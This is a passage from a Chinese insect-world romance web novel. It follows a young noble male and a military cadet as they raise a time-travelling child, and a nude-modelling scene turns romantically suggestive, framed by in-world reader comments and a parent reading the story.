未婚生子、私生活混乱不堪的军校生,拐了他家干干净净、懵懂无知宝贝雄子,给幼崽当继父。] [嘶……说的好有道理,伊索危。] …… 【希尔和伊索在星网上选定了房子。 主要是希尔选定,伊索起一个在雄虫询问他的意见时点头的作用。 这是一栋位于学校附近的双层独栋别墅,在希尔眼里是特别小的小房子。 符合他对普通的虫族小家庭的想象。 一家三口住在“逼仄”的小房子里,过着虽然辛苦但幸福的生活。 伊索看着那个天价陷入沉思。 如果贷款的话是够的。 背一百年房贷罢了。 不过以他的能力,可以提前还完。 这是在不计算雄虫其他开销的情况下。 如果计算上其他开销…… 需要去军校上学、没时间打比赛的穷学生伊索可以考虑去卖器官了。 这是希尔自己要买的房,当然没打算让雌虫付钱,直接就要一键付款。 反倒是伊索拦住他,执意要由他来出这部分钱,说没有雄虫给雌虫花钱的道理。 最后两只虫争执一番,各退一步,各付一半的钱。 因为有两个出资方,最后下来的房产证上也写着他们两个的名字。 希尔看着两个并列在一起的名字,觉得挺稀奇。 像是结婚了一样。 随后就收到了伊索的产权赠与。 他将他那一份赠与转让给他。 希尔:“……” 拒绝! “这是我们共同的财产,也有幼崽的一份,是对幼崽的保障。” 希尔知道他最在意什么,故意挑着幼崽说。 “你不用给我,等伊西成年后,伊西继承这栋房子。” 这才成功把雌虫劝下来。 后边玩玩具的伊西多尔茫然眨眼。 只知道这栋房子以后是他的。 对此,他很淡定。 每年生日,雄父和雌父都会送他礼物。 包括且不限于房子、飞船、机甲、雄父的亲笔画等等。 他有很多很多的东西。 很多很多的爱。 ……】 [谁嫉妒了我不说(戴墨镜)。] [(摘墨镜)] [(流泪)] [上个故事嫉妒克莱尔,只是酸他能成为高等阁下的雌君,能得到精神梳理。但说实话克莱尔自己也挺惨,远征精神感域受损、还有机甲中的痛苦忍耐……最后他得到席安阁下的爱也是他应得的。 这个故事我是真的绷不住啊。一个雄虫,宠溺幼崽宠溺到用精神梳理哄幼崽睡觉,每年的生日礼物,天价的房子说送就送,还有亲笔画像…… 小伊西什么都不用付出,也没有什么应不应得,只因为他是他们的幼崽,是“心爱之虫生下的幼崽”。] [看到这个故事,我才发现,我不仅缺雄主,我还缺雄父(大哭)(爆哭)] [我宣布希尔阁下就是我的雄父,呜呜呜雄父再爱我一次。] …… 首都星。 庄园。 粉色头发的漂亮雄虫忽地从床上坐起身,盯着光屏上的言论,回想着什么,回头问雌侍: “给希尔的生日礼物送了吗?” 雌侍微怔,很快回道: “送了,您给希尔阁下送了一套珍贵星石,雌君送了一座浮空岛。” 至于其他虫送的没必要详细说出来。 “哦,那就好。” 这样一提起雄虫也想了起来,顿时松了口气,躺回雌侍怀里。 刚躺下,他又想起什么,继续问: “其他幼崽的生日礼物送了吗?” 这下雌侍是真惊讶了。 他低头看向怀里的雄虫。 雄虫也正仰头看着他,粉紫色的眼睛干净漂亮。 他很能理解不婚主义的长官为什么会突然选择结婚。 他温和笑道:“送了,都送了,请雄主放心。” 就算雄主一时忘了,雌君也会补上礼物,以雄主的名义送出去。 不管是雄主还是雌君,都在很认真地经营着这个大家庭。 雄虫安心躺下继续看小说。 看着光屏文字中的“希尔”,有些感慨。 “学生时期的希尔真可爱,可惜希尔又去深空里写生画画了,不然一定要跟他分享这个故事。” “雌君也好帅……” 雄虫悄悄截图。 “不过打断腿还是太凶残了,还是罚跪比较好。” 他想了想又道:“跪卧室吧,不能再吓着希尔了。” 跪卧室…… 雌侍想,如果让那家伙跪卧室,他会往床上一趴直接睡了。 简直不要太舒服。 …… 【两只虫带着幼崽搬进新家。 伊索去收拾布置。 希尔坐在沙发上,打开终端浏览,突然发现昨晚雌父给自己发了好几条消息。 一开始还是在关心他的生活。 问他累不累,新入学适不适应,同学好不好相处。 顺带提一嘴隔壁军校有很多坏雌虫,让他小心别上当受骗。 到了后边,就直接发社会新闻链接。 《单纯雄虫被军校黄毛骗睡,后发现黄毛连幼崽都有了》 《黑毛也同样危险》 《雄虫学生交往被骗,导致抑郁》 《高校雄虫被穷小子军校生骗财骗色骗精》 《军校雌虫诱骗多名雄虫骑大马,私生活混乱!》 《年轻雄虫被军校生榨干!酿成悲剧》 希尔:“……” 难为他雌父一本正经地找来这么多社会新闻。 [雌父,您不用派虫跟着我,我已经长大了,有自己的判断能力。] [他也不是什么穷小子,他还跟我一起买房了。] [房产证.jpg] 上将:“……” 该死的黑毛军校生! 居然诱骗雄虫花钱买房,还敢说不是骗财骗色? 48 雄子校草x军校生11 【伊西多尔背部紧贴货架,平复心跳。 还好还好,还好躲得快。 雌父太敏锐了,差点被发现。 应该没被发现……吧? 伊西多尔悄悄探头去看。 却发现雌父和雄父的身影都不见了。 “咦?” 刚刚还在的,气味明明就在这附近。 哪去了? 伊西多尔慌乱转头去找。 却忽地感觉身体一轻,被虫拎了起来。 糟糕!遇见虫贩子了! 伊西多尔挥舞手脚挣扎,亮出雌虫幼崽锋利的牙齿,回头欲咬。 “伊西。” 熟悉的声音从头顶传来,已经咬在雌虫手腕上的伊西愣愣抬眸,与雌虫严肃的金色眼睛对上。 “雌雌……雌父?” 伊西连忙松口。 被他咬过的手腕上印着两排浅浅的白色牙印,没能破防。 伊西多尔在牙印上“呼呼”吹了吹,抬头对雌父露出一个幼崽卖萌的傻笑。 “好巧哦雌父,你也在这啊,还有雄父……” 看到后边的黑发雄虫,伊西多尔笑得更真诚了。 其实是有点心虚的,但看到雌父和雄父就很开心。 “别想糊弄过去,”伊索语气严肃,“谁让你跑出来的?还有你这头发是怎么回事?” “要伪装嘛。” 伊西多尔抬手稳了稳头顶的粉色假发。 “你们不是不想让我被认出来吗?这样就认不出来了。” 伊索看着那张跟希尔和自己都很相似的脸:“……” 那腮红涂得跟个小花猫似的。 即使这样也难掩水灵。 伊索其实也对幼崽下不了什么狠手,但绷着脸严肃的样子很吓虫。 伊西多尔求助地看向希尔。 “雄父……” 希尔的目光从那顶着粉毛的脑袋上移回来,犹豫着道: “算了吧,来都来了。” 至少他还知道做个伪装。 就是伪装出来……一看就是他们家的虫。 “是,阁下仁慈。” 伊索垂眸顺从应着。 回头在雄虫看不到的地方,单手抱着伊西多尔,在他屁股拍了两掌。 雄虫心软不教训,但不能让幼崽肆意妄为下去。 雄虫的耐心是有限的,耗尽了就没了,应该更加珍惜,不能消耗在这种小事上。 “唔!”挨揍的伊西多尔吃惊瞪向雌父。 雌父居然背着雄父家暴他! 他要告状! 嘴还没张开又被捂了住,并收到一记警告的眼神。 希尔听到声音回头看他们。 “发生什么事了吗?” 伊索立刻松开了捂着幼崽嘴的手,状若无事发生。 伊西多尔告状的话在嘴边转了几遍,但被雌父的目光盯着,他还是怂了。 唉,雌父雄父现在感情不好,他为了他们的和谐相处付出了太多! “没事哦,雄父雌父要买什么?伊西可以帮忙挑……” 伊西多尔的视线移动到货架上。 “?!!” 希尔猛地想起他们还在什么地方,一个闪身上前挡住。 他和伊索几乎同时去捂幼崽的眼睛。 伊索更快一步,他的手落在了伊索手背上。 视线在空中交汇,希尔没时间想太多,用口型催促。 ——快走。 两只虫就这样捂着幼崽的眼睛,快步离开成虫用品分区。 虽然没有婚姻还是初次带崽,但在这方面已经无师自通了许多父父的默契。 伊西多尔觉得这样特别有趣,雄父雌父在跟他玩游戏,一路也不闹腾,直到遮在眼睛上的手挪开,他才双眼亮晶晶地看向四周。 哇呜,货架上全是幼崽零食。 像变魔法一样。 “好玩,还要玩!” 希尔仍能感觉到手心雌虫体温的残留,还有那骨节分明的触感…… 雌虫操控机甲的手,若是抓上一块纯白缎布,一定很适合用画笔描绘。 再看幼崽兴奋的模样,希尔收起杂乱的心绪,道: “先买零食,之后再玩。” “好哦!” 伊西多尔站在购物车的幼崽篮里,跟雌父比划要这个要那个。 虫族幼崽抵抗力强,也不怕吃坏肚子,成虫在对待幼崽上一向放纵。 伊索一边帮幼崽拿食物,另一只手垂在身侧,手背仍能感受到雄虫留下的热度,甚至隐隐有着香味残留。 两只虫都各怀心事,一言不发,只顾给幼崽拿吃的。 希尔想,他这算不算是牵到雌虫的手了? 以后再也不是连雌虫的手都没牵过的雄虫了。 像是解锁了某种奇怪的成就。 拿着零食放回购物车,才发现购物车已经满了。 买得有些太多了。 但希尔不是会把挑选好的东西放回去的性子,一并塞进购物车里。 询问雌虫还有没有要买的,得到否定的答案后,就一起去结账。 伊西多尔面对满车的零食特别幸福,牵着希尔的衣角,叫着“雄父”撒娇。 希尔想起什么,回头对他道: “在外边不能叫我‘雄父’。” 他们的年龄实在不合适,之前伊西被他们抱着,就有几只虫诧异地往这边看。 伊西多尔懵了,“那、那叫什么?” 雄父就是雄父啊。 希尔想了想,道:“叫哥哥。” 伊西多尔呆滞。 雄父变兄长了? 希尔不觉得“哥哥”这个称呼有什么问题。 他本就才19岁,对“雄父”这样的称呼没有代入感,觉得很别扭。 “哥哥”反而更容易适应。 他家里还有一只比他小的亚雌幼崽,只比伊西大几岁,还未成年,平日里会特别规矩地叫他“兄长”。 伊西多尔试着张了张嘴,还是叫不出口。 从他出生以来,对雄父的称呼就是“雄父”,根本没想过还有别的称呼。 他哭丧着脸回头看向雌父。 “雌父……” 雌父不会也要变成哥哥吧? 天塌了! 伊索摸了摸幼崽的头,终究是不忍,看向希尔道: “我会对外说伊西是我从地下城区捡到并收养的幼崽。” 说着他对伊西道:“可以继续叫雌父。” 伊西多尔垮着个花猫脸。 从亲生虫崽变收养崽,这落差太大了。 跟变“哥哥”有什么两样?哥哥至少听起来是有血缘关系的。 满车的零食都不能逗他开心了。 希尔和伊索对视一眼,两大学生提前感受到了养幼崽的不易。 物质上的照顾是最基础的,精神和情绪上的照顾也不能落下。 希尔上前,将幼崽抱起来,一边带他往外走,一边低声哄: “好啦,小伊西,有个哥哥不好吗?哥哥也会像雄父一样照顾你。” “这就等于你在外边有一个哥哥,在家里还有个雄父。” 好像很有道理的样子。 伊西多尔愣愣眨眼。 听起来好像还赚了? 幼崽都是很好哄的,哪怕是同样的东西和数量,“朝三暮四”改成“朝四暮三”,他们就觉得自己赚大发了。 见幼崽情绪稳定下来,希尔悄悄松了口气。 随后就见伊西多尔眨着好奇的大眼睛问: “那么,哥哥在外边怎么称呼雌父呀?” “……” 希尔僵住。 呆滞回头,与同样神情尴尬的伊索四目相对。 对哦,幼崽叫他“哥哥”,却叫伊索“雌父”。 那他们之间的关系…… 这也太尴尬了。 还是说他们各论各的? 希尔顺着幼崽的思路想了想,旋即反应过来自己被幼崽带偏了。 “我们当然是彼此称呼名字!” “小幼崽不要满脑子想一些奇怪的问题!” 希尔愤愤揉了揉幼崽的脸,为了避免幼崽再问出什么惊虫的问题,赶紧跟伊索去结账。 最后钱还是伊索付的。 希尔很担心伊索破产。 毕竟他来自地下城区,没有雄父雌父,看起来很穷的样子,刚刚又花了一大笔钱买房子。 伊索看出他的担忧,道: “我把一些自制的装备武器挂星网上出售了,请放心,日常生活的钱我还是有的。” “唔,好。” 49 雄子校草x军校生12 看到小说内容的粉发雄虫惊恐瞪大眼。 完啦!天降黑锅! 顿时回忆起被雌君审问的恐惧。 瑟瑟发抖。 抱紧小被子。 …… 说是审问,其实只是雌君板着脸往那里一坐。 他就如竹筒倒豆子似地把自己一月跟雌君申请90次睡觉被拒60次、于是去了副官雌侍那里20次、战友雌侍那里15次、其他雌侍杂七杂八加起来25次、剩下的时间自己独自睡……全给交代了。 至于外面的雌虫,没有!绝对没有!他的信息素全给家里虫了! 雌君眯眼打量他,判断他话中的真实性。 一个月90次,不过是一日三餐的频率,当然榨不干一只A级雄虫。 但料想他也没胆子、没必要欺瞒他。 雄虫在外有幼崽或雌虫都不是什么大事,接回来就行,餐桌旁添把椅子的事,遮遮掩掩才是没有必要。 于是雌君挥挥手,将他放过了。 当时的他不明白雌君为什么突然审问他,又为什么突然放过他。 被吓坏了的他当了雌君好几天的小尾巴,把信息素全交在雌君身上证明自己的清白,把工作狂雌君缠得出不了门。 最后还是希尔回家,雌君才把他从身上撕下来。 现在想想,如果是为了这个幼崽的话,一切就说得通了…… “不对啊!这不是小说吗?” 雄虫猛地反应过来。他为什么要把小说里剧情当真?居然还联想到了雌君审问自己的事情上去,实在是想太多。 “这当然只是小说,”身旁的雌侍被他的紧张逗笑,温和宽慰他,“世界上又不可能有穿越时空。” 话是这么说……但也不是全然没有可能。 雄虫捧着脸,再看光屏上的小说内容。 总感觉希尔和雌君有事瞒着自己呢。 修长莹白的手指落在光屏上,轻轻滑动,浏览起其他读者对此的看法。 [哈哈哈,原来希尔阁下的雄父是粉色头发吗?那很可爱了。] 没错,他就是如此美丽可爱,让雌君雌侍一见倾心。 雄虫美滋滋地想。 [上将误会大发了,谁能想到幼崽是穿越时空而来的呢?] 就是说嘛。 他只是看自己崽崽的同虫文,哪想到其中还有自己的事。那么大一口黑锅就扣了下来,虽然只是小说,但也很吓虫。雄虫给这条评论点了个赞。 [上将:首先排除一个正确答案。其他虫危危危!!!] 不要啊,回忆起被雌君支配的恐惧,点踩。 [希尔阁下真的对伊索很好了,他居然还想着给伊索钱,为了不被伊索拒绝,还想出雇佣伊索当模特的主意。] [好善良的阁下,这样做会让雌虫得寸进尺的。] [想知道给雄虫当模特是什么体验……在雄虫阁下面前展露身体,被阁下的目光一寸寸描摹,我一定会忍不住露出丑态的。] [所以给雄虫阁下当模特的都是很亲近的雌虫。有些阁下允许雌虫露出最真实的反应,甚至会给予雌虫一些奖励,让雌虫激动不已。有些阁下对此很厌恶,会将雌虫锁起来。] [好奇希尔阁下会是什么风格的。] 雄虫对此也很好奇。他之所以喜欢这本小说,就是觉得透过这本书,看到了自家雄子内心真实的一面。 希尔是他和雌君的独子,倾注了他们的爱意。却不知为何,希尔明明身处这个家中,却让虫感觉他灵魂游离于这个家之外,连他和雌君也不知道他的真实想法……让虫很担忧。 雄虫出了会神,又继续阅读着小说。 …… 【回到住处,伊索把采购回来的物品分门别类摆放好。为希尔阁下买的生活物品也给他送到房间。 希尔的房间自然是二楼采光最好的主卧,幼崽的房间在对面。 至于伊索自己……他计划住二楼最角落那间房,但具体还得跟雄虫请示,也可能雄虫并不允许他踏足二楼。 雄虫家里的房间也代表着主次地位。越受宠的雌虫房间离雄主的房间越近。 希尔直接道:“你住隔壁就好了,离得近,方面照顾幼崽。” 伊索感激道谢,搬去幼崽隔壁。 希尔看着住进自己斜对面的雌虫。 “……” 他们说的隔壁好像不是一回事。 不过也行,还算近。 于是,希尔隔壁的空房间成了他的画室。 希尔把画具从空间纽里取出来,支起画架,布置好模特坐的展示台。 伊索明早就要返校。 他得抓紧时间。 晚上,用精神梳理把幼崽哄睡后,希尔找上伊索。 “我能请你帮个忙吗?会耽误你一点时间,但我会付星币的!” 昏黄的走廊灯光下,希尔面上发烫,一双眼睛却很亮。 “不用星币,您尽管开口。” 伊索一直对希尔阁下心有亏欠,很是不安,如今听到对方提出需求,他反倒松了口气。 “不不不,星币还是要给的,这是雇佣关系。” 希尔对此坚持。 伊索知道这位阁下不缺星币,自己在这上面推脱才是浪费雄虫的时间,于是略一沉思就应了下来。 “好。” 他没问雄虫要他做什么,也没问有多少星币,直接就答应了。 希尔都诧异了。 “都不先问问我要你帮忙做什么吗?” “我相信阁下的虫品。” 伊索注视着面前仰头看他的雄虫,素来冷酷的脸上带着些笑意。 他相信希尔阁下要他做的事,绝不会违反联邦法律或虫族道德,所以没什么需要犹豫的。 哪怕是让他猎杀宇宙中最强大的星兽。 他也会去做,并做到。 听到伊索说相信他的虫品,希尔彻底放下心来。 毕竟他想要对方做的是可是虫体模特。 很多对艺术不了解的虫都无法理解这件事,只把这当成雄虫玩弄雌虫的方式。 既然伊索愿意相信他,那就再好不过了! “我希望你能做我的虫体模特。” 希尔直接道,眼里满是期待。 “好、好的……” 伊索声音低了下来,微敛下眸。 绘画和艺术对伊索来说是相当遥远的东西,但他还偏偏听说过这“虫体模特”。 军校是四虫寝,旁边又是雄虫学院,雌虫们夜间当然会忍不住谈论雄虫的八卦琐事。 伊索就算不想参与这样的讨论,也免不了听一耳朵。 其中,他就听宿舍其他虫说起过一出格外银乱的虫体模特事件。 舍友们说起的口吻很羡慕,伊索的心却沉了下去。 他轻声问面前的雄虫阁下: “只有您一只虫吗?” “当然。” 希尔疑惑歪了下头。 他们家也没别的虫啊。 幼崽已经被他哄睡了。 伊索浅浅松了口气,彻底下定决心。 “好,我去准备。” 想到今天雄虫买的配饰,他问:“需要我装点一下自己吗?” 装点? 希尔不明所以。 在他看来,伊索已经很帅了,不用更帅了。 但他还是配合着颔首,给予他鼓励和肯定,道:“你可以随意。” 于是,伊索回了房间。 希尔去画室等待。 他没有开灯,只将窗帘全部拉开,让月光照射进来。 他坐在月光笼罩的画架前,整理画笔。 他擅长根据灵感用精神力作画,画笔和颜料只起辅助作用,因此也不用过多准备。 正等待着,门开了。 刚洗完澡、发梢还带着些水滴的伊索出现在门口,身体被黑暗笼罩。 在看到那尽数敞开的明亮窗户时,他迟疑了一瞬。 看向窗边的雄虫,雄虫坐在画架前,周身笼罩在月光下,身上像是在发光,此时正偏头安静等待着他。 没有催促,没有戏谑,他看他的目光干净得像是看着一颗等待从黑暗中升起的星辰。 他最终选择步入其中。 赤足踏在冰冷的地板上,月光勾勒出修长却饱含力量的小腿。 希尔一眨不眨地注视着他,渐渐屏住了呼吸。 雌虫的身体尽数袒露在银辉下,像是披着一层月光做的薄纱,美得像是从艺术殿堂中走出来的神祇,强大、冷傲、高不可攀。 而这位冷傲的神祇胸膛前,却装饰着最为放浪的饰品,十分具有反差感。 希尔握紧了手中的画笔,心脏砰砰直跳。 他没想到伊索会这样就过来,他以为他至少会围一块布。 可面对着这样强健美丽的身体,他又说不出将美遮挡的话。 伊索见雄虫没有过来的意思,便看向雄虫画架正前方那铺着白布的平台,问: “是在这里吗?” “是。”希尔轻声道。 伊索走过去,平静问:“我应该摆什么姿势?” “都可以,你可以随意。”希尔道。 伊索低垂眼眸。 他知道自己应该摆出方便雄虫享用的姿势,但他实在不擅长这些,也很难在希尔阁下面前做出如此不堪的事。 最终,他只寻常往那一坐,背脊挺直,抬眸目视前方。 很军事化的坐姿,绝对能让雄虫毫无兴致。 “你可以放松一点。” 连希尔都忍不住说。 “我很放松。”伊索绷着脸道。 “好吧。”希尔也不强求。 他绘画并不为写实,他能透过事物的表象,捕获到最真实的内在。 希尔抬笔在半空对着伊索比划了两下,开始绘制。 而他的精神力早在伊索进门的那一刻,就已经在画纸上铺展开来,无数的精神丝线在画纸上交织缠绕,勾勒描摹,无限延伸。 伊索能感受到高等雄虫活跃的精神力充斥了整个房间,细密的精神丝线从他身上拂过,带来阵阵颤栗。 他能感受到这些精神丝线的好奇、兴奋与喜悦,它们忠实地反应着雄虫的情绪。 50 雄子校草x军校生13 看到某只雌虫开始凹姿势,文下的雌虫读者就忍不住阴阳怪气。 [刚刚不还军事化坐姿吗?不是听到虫体模特后心都沉了下去吗?现在这是怎么了?] [可能模特台上有钉子吧,坐不住(翻白眼)。] [前面以为希尔阁下要对他做什么,可抗拒了,现在发现希尔阁下不打算做,又不乐意了。] [就是就是,要是早点摆好姿势,掰开自己给希尔阁下展示,我这会已经出生了!(怒)] [啊?不是,没这么快。] [雄父雌父,求求你们直接做吧,就当是为了我(大哭)。] 书评区大龄雌虫幼崽含量超标。 一个两个都是想进入书里给希尔当幼崽的。 雄虫们都看得无语了。 [对你们这群恋父癖雌虫没话说。] [从小缺雄父爱是这样的,长大后就容易喜欢上有理想中雄父感的雄虫。] [问题是希尔才十九岁!这个年龄一点都不适合当雄父!这群“大龄幼崽”太不要脸了!] [其实希尔阁下不当我雄父,只娶我也是可以的(害羞),如果再给我一点雄父级别的关爱就更好了。] [靠!既要又要的家伙!好不要脸!] 有雌虫表示: [如果雄虫阁下们愿意多给幼崽一点关爱,世界上也不会出现这么多渴望雄父的大龄幼崽了。] 某些雄虫不乐意地反驳: [养育幼崽是雌虫的责任,雄虫不负责这些,精神梳理都做了,还想要什么?未免要求太高。] 也有雄虫说: [嗐,崽子太多了,我都分不清谁是谁。刚勉强把他们跟他们雌父对应上,他们就生理觉醒窜高一大截,脸也不同了……再然后就搬出去了,很多年都难得一见。要不是有血脉感应,在路上遇到我都认不出来。] 立刻就有虫质疑: [不至于吧?以雄虫的精神力和记忆力,这都记不住?老年痴呆了吗?] [我放几张他们觉醒前后的照片你就懂了,(三头身软萌幼崽图x10)(九头身高大雌虫图x10)觉醒前后区别是有那么亿点点大。] [虫之常情。] [?不是?你们这些雌虫,这就原谅了?他幼崽期也没把虫记住。] 雌虫们很宽容。 [一个相册里保留了所有幼崽照片的雄虫能坏到哪去呢?] [6,然后继续找这样的雄虫结婚,生出你们这样缺雄父爱的幼崽。] [我就说有什么不对,原来是有伪虫啊,举报了。] 天伽因为文化格格不入,总被虫族气到,很爱在星网上扣“6”,这已经是共识了。 在网友总结出识别伪虫方法中排列第一。 首都星庄园里。 某只收到举报通知的粉发雄虫:“???” 怒摔终端。 气呼呼光脚下床。 他要去找雌侍们埋汹抱抱,再把幼崽们挨个吸一遍才能好。 走到门口,又跑回来捡起终端。 小说还没看完呢。 还好终端质量过硬,没坏,能继续追文。 …… 【密布整个画室的活跃精神力,很快为希尔传递回雌虫的变化。 他疑惑抬眸看去。 就见伊索像是模特台的衬布下有石子在硌他一样,小动作不断,不停地调整着姿势。 他精心布置的台面,每一条衬布褶皱都调整得自然又好看,应该不会有石子吧? 正巧伊索抬眸看来,双方目光在空中交汇。 希尔在那双帅气的金色眼眸里看到了晨星初升的亮光,如火焰般的星芒缭绕,忠诚地反映出雌虫的情绪。 紧张,忐忑,期盼,生疏的引誘。 冷傲的神祇坠入凡间,沾染上了俗世的谷欠望。 他此时更像是神坛上的祭品。 束缚己身,将自己献给信徒。 希尔的眸子渐渐睁大,一眨不眨注视着这一幕,精神力狂涌。 灵感如超新星爆炸。 画布瞬间更换。 激动的精神力涌入其中,开始新的作画。 伊索:“?” 到底是他不行还是雄虫不行? 这样臆想一位高等雄虫阁下实在不敬。 且谁都知道高等雄虫很行。 但伊索也并不想承认自己作为高等雌虫却在求偶中没有吸引力。 为什么只专注于那几张画呢? 难道画赤身果体的雌虫,比亲自感受赤身果体的雌虫更得雄虫的心吗? 伊索即使平日里表现得再冷酷沉稳,也到底年轻气盛。 他心气难平,很没模特素养地站起身,朝雄虫走去。 他倒要看看,雄虫到底画了他多少不雅图。 ……? 看清画布上的内容,伊索头顶缓缓冒出一个问号。 圈圈圆圆圈圈,纠缠不断的线条,铺满整张画布,如般星云强大绚烂般的精神力附着其上,在漆黑的背景中映射出绚烂的红粉色彩。 ……这到底是什么? 伊索很懵。 雄虫不是让他做虫体模特吗? 他都脱光了给他画了,可他到底在画什么? 整个画室都是希尔的精神丝线,他不需要回头也能清晰感受到身后雌虫的情绪,因此也不在意模特走动这点小事。 他一边继续用精神力作画,一边头也不回地问: “是累了吗?你可以走动休息会,但不要离我太远。” 如果离得太远,精神感知效果会减弱,影响灵感的持续爆发。 伊索看着那画,觉得自己根本没有出现在这里的必要。 但要他就这么走了,他又不甘心。 他的视线落到雄虫身上,眼睛转动,悄悄伸出手。 他的身体轻贴上雄虫的后背,手环住雄虫腰身,下巴抵在雄虫肩头,在雄虫耳畔轻轻吐气,缓缓道: “那我离您再近点好吗?” 似乎有电流窜遍全身,希尔顿时一激灵。 一边觉得灵感更充沛了,精神力作画速度加快。 一边理智渐渐回笼。 他缓缓偏过头,唇瓣擦过雌虫侧脸,一时间双方的呼吸都屏住了。 雌虫并没有他表现出的那么经验老到、游刃有余。 希尔也同样不擅长应对面前这样的情况。 过了好一会,希尔才僵硬拉开距离,与伊索双目对视。 “你……是为了幼崽吗?” 希尔声音很轻,像是怕吓着雌虫,握着画笔的手指微微蜷缩。 伊索听得懂雄虫阁下话中的意思。 阁下觉得他是为了幼崽而献身。 就像是当初在地下城区的家里,他邀请雄虫标记他一样。 伊索没法否认最初有这部分原因在。 但…… “不全是。” 伊索觉得身上有些凉,这样暴露在雄虫阁下纯净的目光下,让他觉得自己格外污秽。 他下意识抬手,想拢起外衣遮挡一下自己,却想起自己不着一物,外套被他留在了自己房间。 那手在肩头僵滞片刻,最终落下。 伊索抬眸对雄虫扯起一抹僵硬的笑。 “抱歉,擅自引誘您。” 明明是受雄虫雇佣来当绘画模特,结果却做出这样的事,一点都不称职。 雄虫无动于衷,伊索理智回归,也没有脸再待下去。 他看向门口,站起身来。 已经不知道自己都在说些什么。 “您可以扣我的钱,不,不用钱……今晚的事我很抱歉,如果您需要赔偿的话,我会支付……” 伊索说着就要走。 “欸?”希尔张口想说什么,下意识起身跟上去。 伊索停住脚步,回头问: “您还有什么吩咐吗?” 黑发雄虫站在月光下,背对窗外银辉,不安地扯着衣服下摆,面上绯红一片。 伊索目光忽地顿住,盯着雄虫用衣服下摆想要遮掩的,脑子嗡地一声,刚刚竖起的壁垒炸成一片废墟。 转而生起的,是一种近乎庆幸与狂喜的情绪。 雄虫并非如他所想象的那样无动于衷。 并非毫无反应。 喜悦过后是手足无措。 学校有雄虫侍奉的选修课,但他去年没有选,今年还没到选课的时候。 这种情况下应该怎么做?他一无所知。 是直接用口吗?还是要先跪下说些什么话? 一定有什么联邦雌虫服侍雄虫前的专用语句,但他什么也想不起来,什么也不知道。 如果是在地下城区,雌虫什么都不会管,只会用身体把雄虫堵在墙角,花上许多功夫,把雄虫榨得一点都不剩。 但在联邦法律管辖范围内直接这么做,就等着上法庭吧。 两只虫正面相对,都不知该怎么做下去,只有满室信息素萦绕,弄得虫晕晕乎乎。 一个是想要做,却不知道该怎么走流程。 一个是羞耻得手足无措,不知该怎么办才好,想找地缝钻进去。 “伊索,我没有讨厌你。” 希尔揪着衣角,红着脸道。 “嗯。” 伊索目光飘虚。 他看出来了,那是很喜欢的大小。 他只是不明白,雄虫阁下为什么还不动手或命令他。 “也不用赔偿,我会照旧付你钱。”希尔认真道。 伊索勉强从自己满脑子信息素里找出一点清明,提醒: “阁下,这种事应该是雌虫付钱。” “为什么?” 51 雄子校草x军校生14 [不是?伊索?看起来冷冰冰的,居然这么会?] 文下读者都惊呆了。 [记笔记,记笔记。] [下次就这么跟雄虫说,未婚您只能得到我的一部分星币,已婚我的一切都是您的。] [怎么感觉由你说出来,吸引力就打折扣了呢?] [吃氛围的啊兄弟们,要先营造氛围!] [可恶的伊索,他居然会这么高段位的事情!] [也不知道是谁,第一章刚出场就说“结婚不在近二十年的计划之内”(指指点点)。] [结果现在话里话外都在诱哄雄虫娶他了。] 雌虫们纷纷表示鄙夷。 但其实特别羡慕,也特别能理解。 [雌虫对雄虫的抵抗力就这么弱,遇到合适的雄虫沦陷得特别快,更何况是希尔阁下这样好的雄虫。] [完全就是理想型啊,梦里的那种雄虫。爱护幼崽,尊重雌虫,等级高,高贵美丽,能力很强……优点数都数不完。] [理想的雄父,理想的雄主,这换谁谁不栽啊?] [作为天伽我都得出来说一句,这位希尔雄子是我见过最好的雄虫,跟你们别的那些雄虫不一样,不管是对待幼崽,还是对待雌虫,都无可指摘,优秀又完美。] 与虫族那种雄虫不参与养育幼崽的方式不同。 天伽的雄性对幼崽的付出会更多一些。 天伽雌性怀蛋的时候,雄性忙前忙后照顾着。 ——虽然也帮不上什么忙,但至少看起来很忙,被雄性围着团团转,让孕雌心情很好。 等到生产完,把蛋往雄性怀里一丢,就军装一披,潇洒地上战场,拼事业。 留下雄性在家里孵蛋,等雌性回来。 对于虫族雄虫那种完全不管幼崽、只爽一下、后续抚养根本不出力的做法,天伽雌性很看不惯。 但希尔不一样。 他哪哪都好。 在天伽都是能做理想型的那种。 天伽内部有很多雌性偷偷粉希尔。 “想生很多蛋给他孵。” ——这是天伽式的表白。 虫族雌虫听得只想翻白眼。 [怎么?被你们天伽称赞是什么很好的事吗?] [给你脸了,还点评上了?] [也不看看自己是什么东西,给希尔阁下提鞋都不配,出现都是污了希尔阁下的眼,还想生蛋?脸可真大啊。] [磕信息素磕昏了吧,敢梦这么大的?] 所以说,天伽跟虫族根本没法聊到一起去。 他们的雌虫自己都没有追求希尔阁下的机会。 这些天伽居然想让希尔阁下孵蛋? 这哪只雌虫能忍? 立刻把天伽爆破了! 希尔阁下才不会给任何雌性孵蛋! 哪怕是伊索,也不会……吧? …… 【希尔听着伊索的话,大受震惊。 未婚关系,雌虫跟雄虫亲密,需要付出一大笔星币。 而一旦结婚,雌虫则需要交付一切。 这…… 雌虫也太惨了吧! 想到幼崽口中的那个未来,伊索跟他结了婚……他更是白了脸。 希尔双手交叠在身前,遮盖住一切,低头向伊索道歉: “对不起!我一定不会那样对你!不会再让你经历那样的事情!” 伊索:“……?” ……】 读者们:……?!!! [这好像跟我想象中的不太一样?] [伊索!(怒)让你浪吧!让你乱说话!现在雄主没了!] [那我记的笔记……] [这个还是有用的,对其他雄虫阁下有用,但希尔阁下他……他太不同寻常了。] 他们以为雄虫阁下顶多二选一。 要么把雌虫睡了,只拿星币不结婚。 要么把雌虫睡了并结婚。 估计伊索也是这么想的。 哪想到希尔阁下两个都不选。 想必伊索也懵了。 但仔细想想,确实这才是希尔阁下。 总是过于为其他虫着想。 自然也会为追求自己的雌虫着想,不想让雌虫失去财产。 但雌虫只想跪在地上大口吃希尔阁下。 什么财产不财产的,哪有希尔阁下重要。 雌虫攒这么多钱,不就是为了追雄虫吗? 读者们都要哭了。 [希尔阁下,我们知道您很好,但求您这时候别这么好。] [雄虫偶尔对雌虫冷酷残忍一下,雌虫也会嗨翻天的,相信我,您现在说这些不如直接怼伊索,他会更感谢您。] [雄父雌父太纯情了,怎么办?] [虽然我知道你们还是纯情大学生,但幼崽都有了,直接做吧!没关系的!] …… 【伊索的心情也格外复杂。 他说那些不是为了让雄虫保证不会对他做那些。 相反,他很期待雄虫对他做。 希尔说出这些,他很意外,却又不意外。 希尔就是希尔。 他太好了。 他值得所有虫爱。 